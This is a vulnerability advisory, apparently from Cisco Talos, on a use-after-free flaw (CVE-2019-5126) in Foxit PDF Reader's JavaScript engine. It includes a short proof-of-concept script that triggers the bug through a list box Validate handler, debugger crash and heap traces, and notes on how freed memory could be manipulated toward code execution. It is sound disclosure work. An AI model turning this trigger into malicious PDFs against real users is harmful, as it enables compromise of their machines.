CVE-2019-5126
An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s Foxit PDF Reader version 9.7.0.29435. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.
Foxit Software Foxit PDF Reader 9.7.0.29435.
https://www.foxitsoftware.com/products/pdf-reader/
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-416: Use After Free
Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.
Form fields inside PDF documents can have Javascript event handlers attached to them. Event handlers are executed when one of the specified “actions” happens. There exists a vulnerability in the way items of a list box are handled during one of these events. Excerpt from the PoC demonstrates this:
function main() {
var field = app.activeDocs[0].getField('List Box0');
field.insertItemAt("a");
field.setAction("Validate","f();");
field.deleteItemAt();
}
function f(){
app.activeDocs[0].getField('List Box0').setItems(["b"]);
//UAF happens here
}
main();
In the above code, we manipulate the contents of a list box and attach a handler for “Validate” action. Validation action is triggered when the field is being modified. While Foxit Reader is executing the event handler, an object is freed and later reused. This can be lead to the following crash (with PageHeap ON):
(ccc.770): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for FoxitReader.exe -
eax=00000000 ebx=00000000 ecx=1930afd0 edx=08f60000 esi=00000000 edi=1930afd0
eip=02382e1a esp=066ee238 ebp=066ee240 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246
FoxitReader!safe_vsnprintf+0x10fdaa:
02382e1a 3b771c cmp esi,dword ptr [edi+1Ch] ds:002b:1930afec=????????
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
066ee240 02486cec 00000000 00000001 91ce1309 FoxitReader!safe_vsnprintf+0x10fdaa
066ee278 0177aa24 00000000 00000001 91ce13b9 FoxitReader!safe_vsnprintf+0x213c7c
066ee2c8 01752485 0dddaff8 006ee34c 066ee2fc FoxitReader!CryptUIWizExport+0x1e2ea4
066ee324 02d739bb 0dddaff8 066ee354 066ee34c FoxitReader!CryptUIWizExport+0x1ba905
066ee36c 02f3bb99 21b44e60 242bf2fd 066ee4ec FoxitReader!FXJSE_GetClass+0x22b
066ee3c0 02f3b32f 066ee408 242bf2fd 066ee4f0 FoxitReader!CFXJSE_Arguments::GetValue+0x1c7c19
066ee454 02f3b5f1 066ee488 21b44e60 066ee4e4 FoxitReader!CFXJSE_Arguments::GetValue+0x1c73af
066ee49c 02f3b48b 066ee4b4 00000005 066ee4f0 FoxitReader!CFXJSE_Arguments::GetValue+0x1c7671
Looking up the heap info of the crashing address shows that it belongs to a free chunk:
0:000> !heap -p -a edi
address 1930afd0 found in
_DPH_HEAP_ROOT @ a81000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
19232d34: 1930a000 2000
6dfdae02 verifier!AVrfDebugPageHeapFree+0x000000c2
77e12c91 ntdll!RtlDebugFreeHeap+0x0000003e
77d73c45 ntdll!RtlpFreeHeap+0x000000d5
77d73812 ntdll!RtlFreeHeap+0x00000222
03ce94b7 FoxitReader!CFXJSE_Arguments::GetValue+0x00f75537
03cc7261 FoxitReader!CFXJSE_Arguments::GetValue+0x00f532e1
0264c51b FoxitReader!safe_vsnprintf+0x003d94ab
0264cbae FoxitReader!safe_vsnprintf+0x003d9b3e
0264c812 FoxitReader!safe_vsnprintf+0x003d97a2
02380333 FoxitReader!safe_vsnprintf+0x0010d2c3
02486483 FoxitReader!safe_vsnprintf+0x00213413
0177ed7f FoxitReader!CryptUIWizExport+0x001e71ff
01754915 FoxitReader!CryptUIWizExport+0x001bcd95
02d739bb FoxitReader!FXJSE_GetClass+0x0000022b
02f3bb99 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7c19
02f3b32f FoxitReader!CFXJSE_Arguments::GetValue+0x001c73af
02f3b5f1 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7671
02f3b48b FoxitReader!CFXJSE_Arguments::GetValue+0x001c750b
If we examine the call stack that freed this memory, and break at FoxitReader!safe_vsnprintf+0x10d2be
which ultimately leads to free()
, we can see where the chunk was allocated and what size it was:
0:000> !heap -p -a 1930afd0
address 1930afd0 found in
_DPH_HEAP_ROOT @ a81000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
19232d34: 1930afd0 2c - 1930a000 2000
6dfdabb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
77e1245b ntdll!RtlDebugAllocateHeap+0x00000039
77d76dd9 ntdll!RtlpAllocateHeap+0x000000f9
77d75ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
77d75d3e ntdll!RtlAllocateHeap+0x0000003e
03ce950d FoxitReader!CFXJSE_Arguments::GetValue+0x00f7558d
0264c4bb FoxitReader!safe_vsnprintf+0x003d944b
0264ca46 FoxitReader!safe_vsnprintf+0x003d99d6
0264c663 FoxitReader!safe_vsnprintf+0x003d95f3
00dba8da FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00024baa
02487eea FoxitReader!safe_vsnprintf+0x00214e7a
0177cec4 FoxitReader!CryptUIWizExport+0x001e5344
017534c5 FoxitReader!CryptUIWizExport+0x001bb945
02d739bb FoxitReader!FXJSE_GetClass+0x0000022b
02f3bb99 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7c19
02f3b32f FoxitReader!CFXJSE_Arguments::GetValue+0x001c73af
02f3b5f1 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7671
02f3b48b FoxitReader!CFXJSE_Arguments::GetValue+0x001c750b
030e2ac7 FoxitReader!CFXJSE_Arguments::GetValue+0x0036eb47
03071400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
03071400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
0306ef8f FoxitReader!CFXJSE_Arguments::GetValue+0x002fb00f
0306edab FoxitReader!CFXJSE_Arguments::GetValue+0x002fae2b
02daa4f6 FoxitReader!CFXJSE_Arguments::GetValue+0x00036576
02da9fd7 FoxitReader!CFXJSE_Arguments::GetValue+0x00036057
02d97177 FoxitReader!CFXJSE_Arguments::GetValue+0x000231f7
02d7210f FoxitReader!FXJSE_Runtime_Release+0x00000c7f
02d72924 FoxitReader!FXJSE_ExecuteScript+0x00000014
016e1e22 FoxitReader!CryptUIWizExport+0x0014a2a2
016e2c3d FoxitReader!CryptUIWizExport+0x0014b0bd
013a251d FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x0027d94d
013a16ce FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x0027cafe
By editing the PoC code and follow the object life in the debugger, we can see that we can execute additional Javascript code AFTER the object is freed, but before it is reused. The reuse happens after all code in event handler is executed. This means that we can manipulate the freed memory before it is reused which can lead to arbitrary code execution.
2019-10-07 - Vendor Disclosure 2020-01-16 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.